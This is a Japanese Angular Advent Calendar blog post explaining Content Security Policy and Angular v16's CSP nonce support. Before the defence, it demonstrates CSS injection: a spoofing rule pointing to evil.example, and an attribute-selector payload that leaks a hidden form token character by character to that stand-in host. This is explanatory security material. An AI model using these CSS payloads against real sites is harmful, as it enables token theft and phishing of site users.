🌲 Angular Advent Calendar 2023 🌲
この記事は 🎅🎅🎅🎅🎅🎅🎅🎅🎅🎅🎅 11人目の投稿です。

Angular v16でContent Security Policyの nonce を提供するAPIがリリースされました。

Angularの設定はポストで紹介された短いコードを追加するだけです。

以上、おわり。

ここで記事が終わってしまうのはさみしいので、調べたことを書きとめつつ、この短いコードがどんな意味を持つのか深掘りしたいと思います。

フロントエンドのセキュリティ対策

現代のフロントエンドでは、HTMLを起点として画像やスタイルなどを外部リソース化する方法が主流となっています。外部リソースは遅延ロードやキャッシュを部分的に適用できる便利さを提供してくれますが、意図せず悪意のあるコンテンツを読み込む危険性をあわせもっています。

フロントエンドのレイヤーで起こりうる攻撃としては、クロスサイドスクリプティングやクリックジャッキング、セッションハイジャックなどがよく知られているところでしょうか。

攻撃からWeb閲覧者を守るため、ブラウザにはCORS、CSPなどの仕組みがあります。対策しておけば絶対に安全というものではありませんが、組み合わせて多層防御することで攻撃のリスクを減らすことができます。

CSSインジェクション

悪意のあるCSSのコードを埋め込む「CSSインジェクション」の例を見てみましょう。

次のコードは、外部リソースからユーザーが任意に投稿したコメントを取得し innerHTML を使って表示します。

fetch("https://example.com")
  .then(response => response.json())
  .then(posts => {
    posts.forEach(post => {
      const el = document.createElement("p");
      el.innerHTML = post.comment;
      document.body.appendChild(e);
    });
  });

innerHTML は与えられたテキストをHTMLのマークアップとして解釈します。 <style> が含まれる場合は有効なCSSとして解釈されます。

こんにちは<style>body { background: yellow; }</style>

このようなコメントを投稿し背景色が黄色に変われば、そのサイトには任意のCSSを埋め込めることが明らかになります。 攻撃者は悪意のあるコードを投稿してくるでしょう。

Content Spoofing(コンテンツの置き換え)

既存のコンテンツを悪意のあるコンテンツに置き換えます。たとえば既存コンテンツをまるっと置き換えて、サイト移転のお知らせなどを表示することが可能です。

main {
  display: none;
}
body::after {
  content: "サイトは移転しました http://evil.example"
} 

Data Leakage(データのリーク)

フォームにトークンが含まれる場合、1文字目のパターンを列挙して外部ドメインにレポートを送ることができます。この攻撃はトークンが hidden であっても可能です。

<form>
  <input type="hidden" id="token" value="abc">
  <button type="submit">コメントを投稿</button>
</form>
@import url("http://evil.example/report-2.css");

#token[value^="a"] + * { background: url("http://evil.example/report?token=a"); }
#token[value^="b"] + * { background: url("http://evil.example/report?token=b"); }
#token[value^="c"] + * { background: url("http://evil.example/report?token=c"); }

サーバー側では report-2.css を遅延させて2文字目のパターンを動的に生成して列挙します。これを繰り返すと、3文字目、4文字目と残りのトークン文字列が流出します。

@import url("http://evil.example/report-3.css");

#token[value^="aa"] + * { background: url("http://evil.example/report?token=a&index=2"); }
#token[value^="ab"] + * { background: url("http://evil.example/report?token=b&index=2"); }
#token[value^="ac"] + * { background: url("http://evil.example/report?token=c&index=2"); }

📓 攻撃の例は三井物産セキュアディレクション株式会社さんのブログを参考にさせていただきました。
CSSインジェクション | RESEARCH/BLOG

JavaScriptに比べてCSSの攻撃は自由度が低くなりますが、そのぶんサイト制作者の対策も見落としがちになります。
CSSにできることは限られているからと侮ってしまうと、こんな攻撃を仕掛けられてしまうんですね。怖いですね。

コンテンツセキュリティポリシー

サイト制作者がとれる対策のひとつに CSP(Content Security Policy) があります。CSPを設定すると、ポリシー違反のリソースの読み込みがブロックされ XSS(クロスサイトスクリプティング) のリスク軽減に役立ちます。

コンテンツセキュリティポリシー (CSP) | MDN

CSPはサーバー側のHTTPヘッダーで定義します。簡易にチェックする場合は、クライアント側のmetaタグでも指定可能です。

# Server-side
Content-Security-Policy: "{ポリシー}"

# Or Client-side
<meta http-equiv="content-security-policy" content="{ポリシー}">

{ポリシー} にはCSPを適用する「ディレクティブ」と「値」を指定します。複数指定する場合はポリシーごとに ;(セミコロン) で区切ります。

ディレクティブ はポリシーを適用する範囲です。CSSであれば style-src を指定します。他には script-src(JavaScript)font-src(フォント)img-src(画像) などがあります。 一括で指定する場合は default-src を指定します。

はポリシーの具体的な内容です。self はサイトをホストしたドメインを許容します。 https:example.com のようにすると外部ドメインを許容します。 unsafe-inline<style><script> などインライン展開されるコードを許容します。

ポリシー違反の読み込みはブラウザによりブロックされます。コンテンツの外観はスタイルが適用されません。

csp-directives - Content Security Policy Level 3 | W3C Working Draft

style-srcのキーワード指定

CSPで自身のドメインのCSSとインラインスタイルを許容してみましょう。

Content-Security-Policy: "style-src 'self' 'unsafe-inline'"
<head>
  <!-- 自身のドメイン -->
  <link rel="stylesheet" href="./index.css">

  <!-- インラインスタイル -->
  <style>
    body { padding: 16px; }
  </style>
</head>

外部ドメインからCSSを読み込もうとした場合、CSPによってリソースの読み込みがブロックされます。
またブラウザの開発者ツールにポリシー違反を報告するエラーが表示されます。

<link rel="stylesheet" href="https://example.com/index.css">

style-srcのハッシュ指定

次はハッシュ指定の例を見てみましょう。

<style>
  body { padding: 16px; }
</style>

<style> の中身をハッシュしBase64エンコードした値を指定します。ハッシュアルゴリズムは sha256 sha384 sha512 が利用できます。

Content-Security-Policy: "style-src 'sha256-fH/V2bK3PeKauHshusx+uTP7v6RD5edo+QiGL2lGSXg='"

ハッシュ値と一致しないCSSが紛れ込んだ場合、インラインコードの読み込みがブロックされます。

<!-- 許容:ハッシュ値とマッチ -->
<style>
  body { padding: 16px; }
</style>

<!-- ブロック:ハッシュ値とマッチしない -->
<style>
  #loginForm { display:none }
  #loginForm::after { }
</style>

ハッシュは改行や空白も加味されるため、エディターの拡張機能などでよしなに整形された場合はブロックされてしまうので注意しましょう。

<!-- ブロック:ハッシュ値とマッチしない -->
<style>
  body { 
    padding: 16px;
  }
</style>

style-srcのnonce指定

noncenumber used once の略で「ノンス」と読みます。CSRFトークンのように、一時的に使用するランダムな値をサーバー側で生成して埋め込みます。

ここでは説明のために XYZ というダミー値を使用します。

Content-Security-Policy: "style-src 'nonce-XYZ'"

<link><style> タグに対して nonce 属性を追加し、HTTPヘッダーと同じ値を付与します。

<link rel="stylesheet" href="/index.css" nonce="XYZ">
<link rel="stylesheet" href="http://example.com/index.css" nonce="XYZ">

<style nonce="XYZ">
  body { padding: 16px; }
</style>

nonce の値とマッチしないCSSは、読み込みがブロックされます。

<!-- ブロック:nonce属性がない -->
<link rel="stylesheet" href="/index.css">

<!-- ブロック:値が異なる -->
<style nonce="ABC">
  body { padding: 16px; }
</style>

Report-Only

Content-Security-Policy-Report-Only ヘッダーを使うと、読み込みをブロックせずポリシー違反を調べることができます。 このヘッダーは Content-Security-Policy とは違って <meta> タグで指定することはできません。

Content-Security-Policy-Report-Only: "style-src 'self'; report-uri /report",

この例では self で自身のドメインのCSSのみ許容しています。
外部リソースのCSSを読み込むとブラウザ上のコンテンツにスタイルが適用され、ポリシーに違反が開発者ツールに表示されます。

<!-- localhost:3000でホストしたサイトからlocalhost:4001を読み込む -->
<link rel="stylesheet" href="https://localhost:4001/index.css">

ポリシー違反は report-url で指定したエンドポイントにも送信されます。

Content-Security-Policy-Report-Only を稼働中のWebサイトに適用した場合、外観を損なうことなくポリシー違反を見つけることができます。 report-uri が実在のエンドポイントでなくてもレポートを見ることができるため、詳細を確認するのにも役立つでしょう。

Angularのコンポーネントスタイル

Angularでは、コンポーネントメタデータの styleUrl のファイルの中身は <head> にインライン展開されます。

@Component({
  selector: 'app-foo',
  styleUrl: './foo.component.scss'
});

// foo.component.scss
span { color: red };
<head>
  <style>
    span[_ngcontent-ng-111] {
      color: red;
    }
    /*# sourceMappingURL=data:application/json;base64,1234abc... */
  </style>
</head>

styles で指定した場合でも同じです。

@Component({
  selector: 'app-bar',
  styles: [`span { color: green; }`],
});
<head>
  <style>
    span[_ngcontent-ng-222] {
      color: green;
    }
    /*# sourceMappingURL=data:application/json;base64,1234abc... */
  </style>
</head>

Angular v16未満のCSP

AngularアプリケーションをホストしたWebサイトでCSPを導入する場合、これまではインラインスタイルを一括して許容する unsafe-inline を指定する必要がありました。

Content-Security-Policy: "style-src 'unsafe-inline'"

unsafe-inline はインラインスタイルすべてを許容します。そのため、JavaScriptで動的に生成された <style> など、意図しないCSSにも実行許可を与えることがあります。個々の <style> ごとに許可を与える hashnonce のほうがより安全と言えるでしょう。

NOTE: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over ‘unsafe-inline’ when layering a content security policy on top of old code. When considering ‘unsafe-inline’, authors are encouraged to consider nonces (or hashes) instead.

https://www.w3.org/TR/CSP3/#security-nonces

Angular v16以降のCSP

v16以降、unsafe-inlinenonce に置き換えることができます。

Content-Security-Policy: "style-src 'nonce-XYZ'"

※グローバルスタイル style.(scss | css) に対しても selfnonce を指定し許容する必要があります。

アプリケーションの設定は <app-root>ngCspNonce を追加するだけです。

<app-root ngCspNonce="XYZ"></app-root>

または CSP_NONCE トークンを通して値を設定します。

// src/app/app.config.ts
import { ApplicationConfig, CSP_NONCE } from '@angular/core';

export const appConfig: ApplicationConfig = {
  providers: [{
    provide: CSP_NONCE,
    useValue: "XYZ"
  }]
};

nonce の値はAngularを通してインラインスタイルに展開されます。

<head>
  <style nonce="XYZ">
    span[_ngcontent-ng-111] { }
    /*# sourceMappingURL=data:application/json;base64,1234abc... */
  </style>

  <style nonce="XYZ">
    span[_ngcontent-ng-222] { }
    /*# sourceMappingURL=data:application/json;base64,1234abc... */
  </style>
</head>

おわりに

ついこの前まで nonce はおろかCSPについてもおぼろげな知識しかなかったのですが、ng-japan onAirでアップデート情報として紹介されたことをきっかけに「nonce ってなんすか!?」と不思議に思って調べてみました。

Angularでは、CSPに関する実験的機能の Trusted-types の対応も始まっているようです。

W3Cのドキュメントをつぶさに読む習慣がないので、Web標準やトレンドはだいたいAngularを通して学んでいます。今回もとても勉強になりました!

繰り返しになりますが、CSPはブラウザの利用者を守る多層防御の手段のひとつにすぎません。設定したからCSSインジェクションはもう安心!とは思わずに、手段を増やしてWebサイトを安全に保守運用していきたいですね。

明日は yamashita-kenngo さんの投稿です。よろしくお願いします。🎅